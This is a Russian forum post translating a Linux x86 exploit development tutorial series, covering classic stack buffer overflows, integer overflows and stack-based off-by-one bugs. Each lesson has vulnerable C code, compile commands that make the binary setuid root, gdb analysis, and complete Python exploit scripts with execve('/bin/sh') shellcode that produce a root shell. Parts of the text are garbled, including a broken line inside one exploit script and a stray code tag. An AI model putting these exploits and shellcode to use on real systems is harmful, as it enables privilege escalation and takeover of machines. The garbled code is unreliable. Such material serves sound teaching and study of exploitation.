• XSS.stack #1 – первый литературный журнал от юзеров форума

Мануал/Книга Linux (x86) Серия разработки эксплойтов

neopaket

Переводчик
Пользователь
Регистрация
14.05.2019
Сообщения
185
Реакции
205
Linux (x86) Серия разработки эксплойтов.

Прежде всего я хотел бы поблагодарить статьи Phrack и других исследователей безопасности за то, что они научили меня различным методам эксплойтов, без которых ни один из постов был бы невозможен! Я твердо верю, что оригинальные справочные статьи всегда являются лучшим местом для изучения материалов.Здесь я собрал воедино и упростил различные методы эксплойтов под одной крышей, чтобы дать полное понимание о разработке эксплойтов Linux для начинающих! Любые вопросы, исправления и отзывы приветствуются! Теперь пристегнитесь и давайте начнем! Я разделил эту серию уроков на три уровня:

Ступень 1: Основные уязвимости.

На этом этапе я познакомлю вас с базовыми классами уязвимостей, а также немного попутешествуемвуем во времени, чтобы узнать, как развивалась разработка эксплойтов под Linux. Чтобы добиться этого, в текущей операционной системе Linux я отключил многие механизмы защиты (например, ASLR , Stack Canary, NX и PIE ). Таким образом, в некотором смысле этот уровень - детский материал. :D


  1. Переполнение буфера в классическом стеке
  2. Целочисленное переполнение
  3. Off-By-One (На основе стека)
Ступень 2: Обход техник смягчения эксплойтов

На этом этапе давайте вернемся в настоящие, чтобы узнать, как обойти различные методы смягчения эксплойтов (Таких как ASLR, Stack Canary, NX и PIE). Здесь уже действительно весело!

  1. Обход бита NX с использованием return-to-libc
  2. Обход бита NX с использованием возврата в libc
  3. Обход ASLR
3. 1. Часть I: Использование возврата к PLT.
3.2. Часть II: Использование
Brute Force.
3.3. Часть III: Использование
GOT перезаписи и GOT
разыменования.

Степень 3: Уязвимости кучи памяти.

На этом этапе мы узнаем об ошибках в куче памяти.

  1. Переполнение кучи с помощью unlink.
  2. Переполнение кучи с помощью Malloc Maleficarum
  3. Off-By-One (На основе кучи)
  4. Use After Free
Ниже я буду переводить по 2-3 статьи из этой серии в день.

Переведено специально для xss.pro
Оригинальная статья: https://sploitfun.wordpress.com/2015/06/26/linux-x86-exploit-development-tutorial-series/
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
 
Последнее редактирование:
Переполнение буфера в классическом стеке

Настройка виртуальной машины: Ubuntu 12.04 (x86)

Этот пост является самым простым из серии руководств по разработке эксплойтов. В Интернете Вы можете найти много статей по этой теме. Несмотря на обилие подобного материала, я решил написать для него свой собственный пост, поскольку он послужит предпосылкой для многих моих будущих постов.

Что такое переполнение буфера?

Копирование исходного буфера в целевой буфер может привести к переполнению, когда

1. Длина исходной строки больше длины целевой строки.
2. Проверка размера не производится.

Существует два типа переполнения буфера:

1. Переполнение буфера в стеке - здесь целевой буфер находится в стеке.
2. Переполнение буфера в куче - здесь целевой буфер находится в куче

В этой статье, я буду говорить только о переполнении буфера в стеке. Переполнение кучи будет обсуждаться на «Ступени 3» серии Linux (x86) Руководство по разработке эксплойтов.

Ошибки переполнения буфера приводят к выполнению произвольного кода.

Что такое выполнение произвольного кода?

Выполнение произвольного кода позволяет злоумышленнику выполнить его код, чтобы получить контроль над машиной жертвы.

Получение контроля над машиной жертвы достигается многими способами, такими как порождение корневой оболочки, добавление нового пользователя, открытие сетевого порта и т.д.

Звучит интересно!

Уязвимый код :

Код:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
/* [1] */ char buf[256];
/* [2] */ strcpy(buf,argv[1]);
/* [3] */ printf("Input:%s\n",buf);
return 0;
}

Команды компиляции :

Код:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Строка 2 вышеуказанной уязвимой программы показывает нам, что существует ошибка переполнения буфера. И эта ошибка может привести к выполнению произвольного кода, поскольку содержимое исходного буфера предоставляется пользователем!

Как достигается выполнение произвольного кода?

Выполнение произвольного кода достигается с помощью метода «Перезапись адреса возврата ». Этот метод помогает злоумышленнику перезаписать «адрес возврата», расположенный в стеке, и эта перезапись приведет к выполнению произвольного кода.

Прежде чем приступить к изучению кода эксплойта, давайте разберем и нарисуем макет стека для уязвимого кода!

Код:
(gdb) disassemble main
Dump of assembler code for function main:
   //Function Prologue
   0x08048414 <+0>:    push   %ebp                      //backup caller's ebp
   0x08048415 <+1>:    mov    %esp,%ebp                 //set callee's ebp to esp

   0x08048417 <+3>:    and    $0xfffffff0,%esp          //stack alignment
   0x0804841a <+6>:    sub    $0x110,%esp               //stack space for local variables
   0x08048420 <+12>:    mov    0xc(%ebp),%eax            //eax = argv
   0x08048423 <+15>:    add    $0x4,%eax                 //eax = &argv[1]
   0x08048426 <+18>:    mov    (%eax),%eax               //eax = argv[1]
   0x08048428 <+20>:    mov    %eax,0x4(%esp)            //strcpy arg2
   0x0804842c <+24>:    lea    0x10(%esp),%eax           //eax = 'buf'
   0x08048430 <+28>:    mov    %eax,(%esp)               //strcpy arg1
   0x08048433 <+31>:    call   0x8048330 <strcpy@plt>    //call strcpy
   0x08048438 <+36>:    mov    $0x8048530,%eax           //eax = format str "Input:%s\n"
   0x0804843d <+41>:    lea    0x10(%esp),%edx           //edx = buf
   0x08048441 <+45>:    mov    %edx,0x4(%esp)            //printf arg2
   0x08048445 <+49>:    mov    %eax,(%esp)               //printf arg1
   0x08048448 <+52>:    call   0x8048320 <printf@plt>    //call printf
   0x0804844d <+57>:    mov    $0x0,%eax                 //return value 0

   //Function Epilogue
   0x08048452 <+62>:    leave                            //mov ebp, esp; pop ebp;
   0x08048453 <+63>:    ret                              //return
End of assembler dump.
(gdb)

s-OIODw-Yo0-Af-EKPebzv-Gr-Unw.png


Как мы уже знаем, пользовательский ввод размером больше 256 переполнит целевой буфер и перезапишет адрес возврата, хранящийся в стеке. Давайте проверим это, отправив серию «А».

Шаг теста 1: Возможно ли перезаписать адрес возврата?

Код:
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/csof/vuln...done.
(gdb) r `python -c 'print "A"*300'`
Starting program: /home/sploitfun/lsploits/new/csof/vuln `python -c 'print "A"*300'`
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

Приведенный выше вывод показывает, что регистр указателя инструкций (EIP) перезаписывается с помощью «AAAA», и это подтверждает возможность перезаписи обратного адреса!

Шаг теста 2: Каково смещение от буфера назначения?

Здесь давайте выясним, по какому адресу смещения находится адрес буфера назначения «buf». Разобрав и нарисовав макет стека для main (), попробуем найти информацию о смещении. Расположение стека показывает, что адрес возврата расположен по смещению (0x10c) от буфера назначения «buf». 0x10c рассчитывается следующим образом:

0x10c = 0x100 + 0x8 + 0x4

Где:
  • 0x100 - размер буфера
  • 0x8 - это пространство выравнивания
  • 0x4 - EBP (Регистр общего назначения)
Таким образом, пользовательский ввод формы «A» * 268 + «B» * 4 перезаписывает «buf», пространство выравнивания и EBP вызывающего абонента с «A» и адрес возврата с «BBBB».


Приведенный выше код показывает, что злоумышленник получает контроль над обратным адресом. Адрес возврата, расположенный в ячейке стека (0xbffff1fc), перезаписывается «BBBB».Используя эту информацию, давайте напишем программу эксплойта для выполнения произвольного кода.

Код эксплойта:

Python:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0   
          
#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
return struct.pack("<I",num)

# buf = Junk + RA + NOP's + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "\x90" * 100
buf += scode

print "Calling vulnerable program"
call(["./vuln", buf])

Выполнение вышеуказанной программы эксплойта дает нам корневую оболочку, как показано ниже:

Код:
$ python exp.py
Calling vulnerable program
Input:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��������������������������������������������������������������������������������������������������������1�Ph//shh/bin��P��S���

# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

ПРИМЕЧАНИЕ .
Чтобы получить эту корневую оболочку, я отключили многие методы предотвращения эксплойтов. Фактически для всех постов первой ступени я отключил эти методы, поскольку цель первой ступени - познакомить вас с уязвимостями. Самое интересное будет, когда мы подойдём к «Ступени 2» из серии руководств по разработке эксплойтов Linux (x86).

Переведено специально для xss.pro
Оригинальная статья: https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
 
Последнее редактирование:
Целочисленное переполнение.


Настройка виртуальной машины: Ubuntu 12.04 (x86)



  • Что такое переполнение целых чисел?

Сохранение значения, превышающего максимальное поддерживаемое значение, называется переполнением целого числа. Целочисленное переполнение само по себе не приводит к выполнению произвольного кода, но целочисленное переполнение может привести к переполнению стека или кучи, а это уже может привести к выполнению произвольного кода. В этой статье я буду говорить ТОЛЬКО о целочисленном переполнении, ведущем к переполнению стека, а целочисленное переполнение, ведущее к переполнению кучи, будет рассмотрено позже в отдельном посте.

Размер типов данных и их диапазон:

Когда мы пытаемся сохранить значение, превышающее максимальное поддерживаемое значение, наше значение оборачивается (Из положительного перевоплощается в отрицательное и наоборот). Например, когда мы пытаемся сохранить 2147483648 в типе данных со знаком int, он оборачивается и сохраняется как -21471483648. Это называется целочисленным переполнением, и это может привести к выполнению произвольного кода.

Целочисленное занижение.

Аналогичным образом, сохранение значения, меньшего, чем минимальное поддерживаемое значение, называется потерей целочисленного значения. Например, когда мы пытаемся сохранить -21471483649 в типе данных со знаком int, он оборачивается и сохраняется как 21471483649. Это называется целочисленным понижением. Здесь я буду говорить только о целочисленном переполнении, но процедура остается такой же и для переполнения.

Уязвимый код:

Код:
//vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void store_passwd_indb(char* passwd) {
}

void validate_uname(char* uname) {
}

void validate_passwd(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); /* [1] */
if(passwd_len >= 4 && passwd_len <= 8) { /* [2] */
    printf("Valid Password\n"); /* [3] */
fflush(stdout);
strcpy(passwd_buf,passwd); /* [4] */

} else {
printf("Invalid Password\n"); /* [5] */
fflush(stdout);

}
store_passwd_indb(passwd_buf); /* [6] */
}

int main(int argc, char* argv[]) {
if(argc!=3) {
printf("Usage Error:   \n");
fflush(stdout);
exit(-1);

}
validate_uname(argv[1]);
validate_passwd(argv[2]);
return 0;
}

Команды компиляции:

Код:
#echo 0> / proc / sys / kernel / randomize_va_space
$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c
$ sudo chown root vuln
$ sudo chgrp root vuln
$ sudo chmod + s vuln

Строка 1 вышеуказанной уязвимой программы показывает нам, что существует ошибка целочисленного переполнения. Тип возврата strlen () - size_t (unsigned int), который сохраняется в типе данных unsigned char. Следовательно, любое значение, превышающее максимальное поддерживаемое значение беззнакового символа, приводит к переполнению целого числа. Таким образом, когда длина пароля равна 261, 261 оборачивается и сохраняется как 5 в переменной 'passwd_len'. Из-за этого целочисленного переполнения можно обойти проверку границ, выполненную в строке 2, что приведет к переполнению буфера в стеке. И, как видно из этого поста, переполнение буфера в стеке приводит к выполнению произвольного кода.

Прежде чем приступить к изучению кода эксплойта, давайте разберем и нарисуем макет стека для уязвимого кода!

Разбор:

Код:
(gdb) disassemble validate_passwd
Dump of assembler code for function validate_passwd:
//Function Prologue
0x0804849e <+0>: push %ebp                               //backup caller's ebp
0x0804849f <+1>: mov %esp,%ebp                           //set callee's ebp to esp

0x080484a1 <+3>: push %edi                               //backup edi
0x080484a2 <+4>: sub $0x34,%esp                          //stack space for local variables
0x080484a5 <+7>: mov 0x8(%ebp),%eax                      //eax = passwd
0x080484a8 <+10>: movl $0xffffffff,-0x1c(%ebp)           //String Length Calculation -- Begins here
0x080484af <+17>: mov %eax,%edx
0x080484b1 <+19>: mov $0x0,%eax
0x080484b6 <+24>: mov -0x1c(%ebp),%ecx
0x080484b9 <+27>: mov %edx,%edi
0x080484bb <+29>: repnz scas %es:(%edi),%al
0x080484bd <+31>: mov %ecx,%eax
0x080484bf <+33>: not %eax
0x080484c1 <+35>: sub $0x1,%eax                          //String Length Calculation -- Ends here
0x080484c4 <+38>: mov %al,-0x9(%ebp)                     //passwd_len = al
0x080484c7 <+41>: cmpb $0x3,-0x9(%ebp)                   //if(passwd_len <= 4 )
0x080484cb <+45>: jbe 0x8048500 <validate_passwd+98>     //jmp to 0x8048500
0x080484cd <+47>: cmpb $0x8,-0x9(%ebp)                   //if(passwd_len >=8)
0x080484d1 <+51>: ja 0x8048500 <validate_passwd+98>      //jmp to 0x8048500
0x080484d3 <+53>: movl $0x8048660,(%esp)                 //else arg = format string "Valid Password"
0x080484da <+60>: call 0x80483a0 <puts@plt>              //call puts
0x080484df <+65>: mov 0x804a020,%eax                     //eax = stdout
0x080484e4 <+70>: mov %eax,(%esp)                        //arg = stdout
0x080484e7 <+73>: call 0x8048380 <fflush@plt>            //call fflush
0x080484ec <+78>: mov 0x8(%ebp),%eax                     //eax = passwd
0x080484ef <+81>: mov %eax,0x4(%esp)                     //arg2 = passwd
0x080484f3 <+85>: lea -0x14(%ebp),%eax                   //eax = passwd_buf
0x080484f6 <+88>: mov %eax,(%esp)                        //arg1 = passwd_buf
0x080484f9 <+91>: call 0x8048390 <strcpy@plt>            //call strcpy
0x080484fe <+96>: jmp 0x8048519 <validate_passwd+123>    //jmp to 0x8048519
0x08048500 <+98>: movl $0x804866f,(%esp)                 //arg = format string "Invalid Password"
0x08048507 <+105>: call 0x80483a0 <puts@plt>             //call puts
0x0804850c <+110>: mov 0x804a020,%eax                    //eax = stdout
0x08048511 <+115>: mov %eax,(%esp)                       //arg = stdout
0x08048514 <+118>: call 0x8048380 <fflush@plt>           //fflush
0x08048519 <+123>: lea -0x14(%ebp),%eax                  //eax = passwd_buf
0x0804851c <+126>: mov %eax,(%esp)                       //arg = passwd_buf
0x0804851f <+129>: call 0x8048494                        //call store_passwd_indb

//Function Epilogue
0x08048524 <+134>: add $0x34,%esp                        //unwind stack space
0x08048527 <+137>: pop %edi                              //restore edi
0x08048528 <+138>: pop %ebp                              //restore ebp
0x08048529 <+139>: ret                                   //return
End of assembler dump.
(gdb)

Макет стека.
pub



Как мы уже знаем пароль длиной 261, обходит проверку границ и позволяет перезаписать адрес возврата, расположенный в стеке. Давайте проверим это, отправив серию А.

Шаг теста 1: Возможно ли перезаписать адрес возврата?

Код:
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
(gdb) r sploitfun `python -c 'print "A"*261'`
Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*261'`
Valid Password

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

Шаг теста 2: Каково смещение от буфера назначения?

Здесь давайте выясним, по какому адресу возврата смещения расположен буфер «passwd_buf». Разобрав и нарисовав макет стека для validate_passwd (), давайте попробуем найти информацию о смещении. Расположение стека показывает, что адрес возврата расположен по смещению (0x18) от буфера «passwd_buf». 0x18 рассчитывается следующим образом:

0x18 = 0xb + 0x1 + 0x4 + 0x4 + 0x4

Где:
0xb - это размер «passwd_buf»
0x1 - это размер «passwd_len»
0x4 - пространство выравнивания
0x4 – EDI (Электронный обмен данными)
0x4 - EBP (Регистр общего назначения)

Таким образом, пользовательский ввод формы «A» * 24 + «B» * 4 + «C» * 233 перезаписывает passwd_buf, passwd_len, пространство, выравнивания, edi ebp и вызывающего абонента с «A», адрес возврата с «BBBB» и оставшиеся пространство с буквой C.

Код:
$ gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/iof/vuln...(no debugging symbols found)...done.
(gdb) r sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
Starting program: /home/sploitfun/lsploits/iof/vuln sploitfun `python -c 'print "A"*24 + "B"*4 + "C"*233'`
Valid Password

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)

Приведенный выше код показывает, что злоумышленник получает контроль над обратным адресом. Адрес возврата, расположенный в ячейке стека (0xbffff1fc), перезаписывается «BBBB». Используя эту информацию, давайте напишем программу эксплойта для выполнения произвольного кода.

Код эксплойта:
Python:
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

arg1 = "sploitfun"

#Stack address where shellcode is copied.
ret_addr = 0xbffff274

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
return struct.pack("<I",num)

# arg2 = Junk + RA + NOP's + Shellcode
arg2 = "A" * 24
arg2 += conv(ret_addr);
arg2 += "\x90" * 100
arg2 += scode
arg2 += "C" * 108

print "Calling vulnerable program"
call(["./vuln", arg1, arg2])

Выполнение вышеуказанной программы эксплойта дает нам корневую оболочку (как показано ниже):

Код:
$ python exp.py 
Calling vulnerable program
Valid Password
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Дополнительные материалы:

Переведено специально для xss.pro
Оригинальная статья: https://sploitfun.wordpress.com/2015/06/23/integer-overflow/
neopaket
Отдельное спасибо weaver и admin
Если хотите задонатить мне, то мои кошельки указаны в профиле :p
 
Последнее редактирование:
Уязвимость «Off-By-One» (На основе стека).

Необходимое условие:
Переполнение буфера в классическом стеке

Настройка виртуальной машины: Ubuntu 12.04 (x86)



  • Что это за ошибка?

Копирование исходной строки в буфер назначения может привести к отключению, когда:
  • Длина исходной строки длине целевого буфера.
  • Длина строки источника равна длине целевого буфера, один NULL-байт копируется чуть выше целевого буфера. Здесь, поскольку буфер назначения находится в стеке, один байт NULL может перезаписывать младший значащий бит (LSB) из EBP вызывающего абонента, хранящегося в стеке, и это может привести к выполнению произвольного кода.

Как всегда достаточно определений, давайте посмотрим на Off-By-One уязвимый код.

Уязвимый код:

Код:
//vuln.c
#include <stdio.h>
#include <string.h>

void foo(char* arg);
void bar(char* arg);

void foo(char* arg) {
bar(arg); /* [1] */
}

void bar(char* arg) {
char buf[256];
strcpy(buf, arg); /* [2] */

}

int main(int argc, char *argv[]) {
if(strlen(argv[1])>256) { /* [3] */
   
    printf("Attempted Buffer Overflow\n");

fflush(stdout);
return -1;
}
foo(argv[1]); /* [4] */
return 0;
}

Команды компиляции:

Код:
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

В строке 2 приведенного выше уязвимого кода может возникнуть переполнение. Длина целевого
буфера составляет 256, следовательно, исходная строка длиной 256 байтов может
привести к выполнению произвольного кода.

  • Как достигается выполнение произвольного кода?
Выполнение произвольного кода достигается с помощью метода, называемого «Перезапись EBP». Если EBP вызывающей стороны находится чуть выше буфера назначения, то после strcpy один байт NULL перезаписывает младший бит EBP вызывающей стороны. Чтобы больше узнать о Off-By-One, давайте разберем уязвимый код и создадим для него макет стека.

Разбор:
Код:
(gdb) disassemble main
Dump of assembler code for function main:
//Function Prologue
0x08048497 <+0>: push %ebp                    //backup caller's ebp
0x08048498 <+1>: mov %esp,%ebp                //set callee's (main) ebp to esp
0x0804849a <+3>: push %edi                    //backup EDI
0x0804849b <+4>: sub $0x8,%esp                //create stack space
0x0804849e <+7>: mov 0xc(%ebp),%eax           //eax = argv
0x080484a1 <+10>: add $0x4,%eax               //eax = &argv[1]
0x080484a4 <+13>: mov (%eax),%eax             //eax = argv[1]
0x080484a6 <+15>: movl $0xffffffff,-0x8(%ebp) //String Length Calculation -- Begins here
0x080484ad <+22>: mov %eax,%edx
0x080484af <+24>: mov $0x0,%eax
0x080484b4 <+29>: mov -0x8(%ebp),%ecx
0x080484b7 <+32>: mov %edx,%edi
0x080484b9 <+34>: repnz scas %es:(%edi),%al
0x080484bb <+36>: mov %ecx,%eax
0x080484bd <+38>: not %eax
0x080484bf <+40>: sub $0x1,%eax               //String Length Calculation -- Ends here
0x080484c2 <+43>: cmp $0x100,%eax             //eax = strlen(argv[1]). if eax > 256
0x080484c7 <+48>: jbe 0x80484e9 <main+82>     //Jmp if NOT greater
0x080484c9 <+50>: movl $0x80485e0,(%esp)      //If greater print error string,flush and return.
0x080484d0 <+57>: call 0x8048380 <puts@plt>  
0x080484d5 <+62>: mov 0x804a020,%eax         
0x080484da <+67>: mov %eax,(%esp)            
0x080484dd <+70>: call 0x8048360 <fflush@plt>
0x080484e2 <+75>: mov $0x1,%eax             
0x080484e7 <+80>: jmp 0x80484fe <main+103>
0x080484e9 <+82>: mov 0xc(%ebp),%eax          //argv[1] <= 256, eax = argv
0x080484ec <+85>: add $0x4,%eax               //eax = &argv[1]
0x080484ef <+88>: mov (%eax),%eax             //eax = argv[1]
0x080484f1 <+90>: mov %eax,(%esp)             //foo arg
0x080484f4 <+93>: call 0x8048464              //call foo
0x080484f9 <+98>: mov $0x0,%eax               //return value

//Function Epilogue
0x080484fe <+103>: add $0x8,%esp              //unwind stack space
0x08048501 <+106>: pop %edi                   //restore EDI
0x08048502 <+107>: pop %ebp                   //restore EBP
0x08048503 <+108>: ret                        //return
End of assembler dump.
(gdb) disassemble foo
Dump of assembler code for function foo:
//Function prologue
0x08048464 <+0>: push %ebp                    //backup caller's (main) ebp
0x08048465 <+1>: mov %esp,%ebp                //set callee's (foo) ebp to esp
0x08048467 <+3>: sub $0x4,%esp                //create stack space
0x0804846a <+6>: mov 0x8(%ebp),%eax           //foo arg
0x0804846d <+9>: mov %eax,(%esp)              //bar arg = foo arg
0x08048470 <+12>: call 0x8048477              //call bar

//Function Epilogue
0x08048475 <+17>: leave                       //unwind stack space + restore ebp
0x08048476 <+18>: ret                         //return
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
//Function Prologue
0x08048477 <+0>: push %ebp                    //backup caller's (foo) ebp
0x08048478 <+1>: mov %esp,%ebp                //set callee's (bar) ebp to esp
0x0804847a <+3>: sub $0x108,%esp              //create stack space
0x08048480 <+9>: mov 0x8(%ebp),%eax           //bar arg
0x08048483 <+12>: mov %eax,0x4(%esp)          //strcpy arg2
0x08048487 <+16>: lea -0x100(%ebp),%eax       //buf
0x0804848d <+22>: mov %eax,(%esp)             //strcpy arg1
0x08048490 <+25>: call 0x8048370 <strcpy@plt> //call strcpy

//Function Epilogue
0x08048495 <+30>: leave                       //unwind stack space + restore ebp
0x08048496 <+31>: ret                         //return
End of assembler dump.
(gdb)

Макет стека:

pub


Как мы уже знаем, пользовательский ввод размером 256, перезаписывает младший бит EBP FOO (Метасинтаксическая переменная) байтом NULL. Поэтому, когда EBP-файл FOO, хранящийся чуть выше целевого буфера «buf», перезаписывается одним нулевым байтом, ebp изменяется с 0xbffff2d8 на 0xbffff200. Из макета стека мы можем видеть, что расположение стека 0xbffff200 является частью буфера назначения «buf», и поскольку пользовательский ввод копируется в этот буфер назначения, злоумышленник контролирует это местоположение стека (0xbffff200) и, таким образом, он имеет контроль над указателем инструкций (eip с помощью которого он может добиться выполнения произвольного кода. Давайте проверим это, отправив серию «А» размером 256.

Шаг теста 1: Возможна ли перезапись EBP и, следовательно, возможен перезапись адреса возврата?

Код:
(gdb) r `python -c 'print "A"*256'`
Starting program: /home/sploitfun/lsploits/new/obo/stack/vuln `python -c 'print "A"*256'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) p/x $eip
$1 = 0x41414141
(gdb)

Приведенный выше код показывает, что у нас есть контроль над указателем инструкций (EIP) из-за перезаписи EBP.

Шаг теста 2: Каково смещение от буфера назначения.

Теперь давайте выясним, по какому смещению от начала буфера назначения «buf» нам нужно разместить наш обратный адрес. Помните, что при уязвимости Off-By-One мы не перезаписываем фактический адрес возврата, хранящийся в стеке (Как мы это делаем при переполнении буфера на основе стека), вместо этого область памяти размером 4 байта в буфере назначения, контролируемом злоумышленником, 'buf' будет рассматриваться как расположение адреса возврата (После одного переполнения). Таким образом, нам нужно найти это смещение местоположения обратного адреса (От «buf»), которое является частью буфера назначения «buf». Не очень понятно, никаких проблем просто читаем дальше!

Теперь попробуем понять, как выполняется процесс, начиная с адреса текстового сегмента 0x08048490:

0x08048490 - Call Strcpy - Выполнение этой инструкции приводит к переполнению, поэтому значение EBP foo (Хранящееся в расположении стека 0xbffff2cc) изменяется с 0xbffff2d8 на 0xbffff200.
0x08048495 - Leave- Инструкция выхода “разматывает” пространство стека этой функции и восстанавливает EDP.

Код:
leave: mov ebp, esp;        //unwind stack space by setting esp to ebp.
       pop ebp;             //restore ebp
*** As per our example: ***
leave: mov ebp, esp;        //esp = ebp = 0xbffff2cc
       pop ebp;             //ebp = 0xbffff200 (Overwritten EBP value is now stored in ebp register); esp = 0xbffff2d0

0x08048495 - Ret - Возвращает к инструкции foo 0x08048475
0x08048475 – Leave - Инструкция выхода “разматывает” пространство стека этой функции и восстанавливает ebp.

Код:
*** As per our example: ***
leave: mov ebp, esp;        //esp = ebp = 0xbffff200 (As part of unwinding esp is shifted down instead of up!!)
       pop ebp;             //ebp = 0x41414141; esp = 0xbffff204

0x08048476 - Ret - возврат к инструкции, расположенной в ESP (0xbffff204).

Теперь ESP указывает на буфер, контролируемый злоумышленником, и, следовательно, злоумышленник может вернуться в любое место, где он хочет добиться выполнения произвольного кода.

Теперь давайте вернемся к нашему первоначальному тесту нахождения смещения для адреса возврата из буфера назначения «buf». Как показано на нашем изображении макета стека, «buf» расположен по адресу 0xbffff158, и с помощью совершённой нами слежки за выполнением процесса мы знаем, что расположение адреса возврата внутри буфера назначения «buf» находится по адресу 0xbffff204. Следовательно, смещение к адресу возврата из «buf» равно 0xbffff204 - 0xbffff158 = 0xac. Таким образом, пользовательский ввод формы «A» * 172 + «B» * 4 + «A» * 80 заменяет EIP на «BBBB».

Код:
$ cat exp_tst.py
#exp_tst.py
#!/usr/bin/env python
import struct
from subprocess import call

buf = "A" * 172
buf += "B" * 4
buf += "A" * 80

print "Calling vulnerable program"
call(["./vuln", buf])

$ python exp_tst.py
Calling vulnerable program
$ sudo gdb -q vuln
Reading symbols from /home/sploitfun/lsploits/new/obo/stack/vuln...(no debugging symbols found)...done.
(gdb) core-file core
[New LWP 4055]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) p/x $eip
$1 = 0x42424242
(gdb)
[/CODE}

Приведенный выше код показывает, что злоумышленник получает контроль над обратным адресом. Адрес возврата расположен по смещению (0xac) от «buf». Используя эту информацию, давайте напишем программу эксплойта для выполнения произвольного кода

Код эксплойта:

[CODE]
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Spawn a shell.
#execve(/bin/sh) Size- 28 bytes.
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"

ret_addr = 0xbffff218

#endianess conversion
def conv(num):
return struct.pack("<I",numturn Address + NOP's + Shellcode + Junk
buf = "A" * 172
buf += conv(ret_addr)
buf += "\x90" * 30
buf += scode
buf += "A" * 22

print "Calling vulnerable program"
call(["./vuln", buf])

Выполнение вышеуказанной программы эксплойта дает нам корневую оболочку, как показано ниже:

Код:
$ python exp.py
Calling vulnerable program
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Off-By-One выглядит глупой ошибкой, и странно, что такая маленькая ошибка разработчика может привести к выполнению произвольного кода.

  • Что делать, если EBP вызывающего не присутствует выше буфера назначения?

Ответ на этот вопрос прост, мы не можем использовать его с помощью метода перезаписи EBP (Но возможен и другой метод эксплойта, так как в конце концов в коде существует ошибка )

  • При каких сценариях EBP вызывающего не будет присутствовать выше буфера назначения?

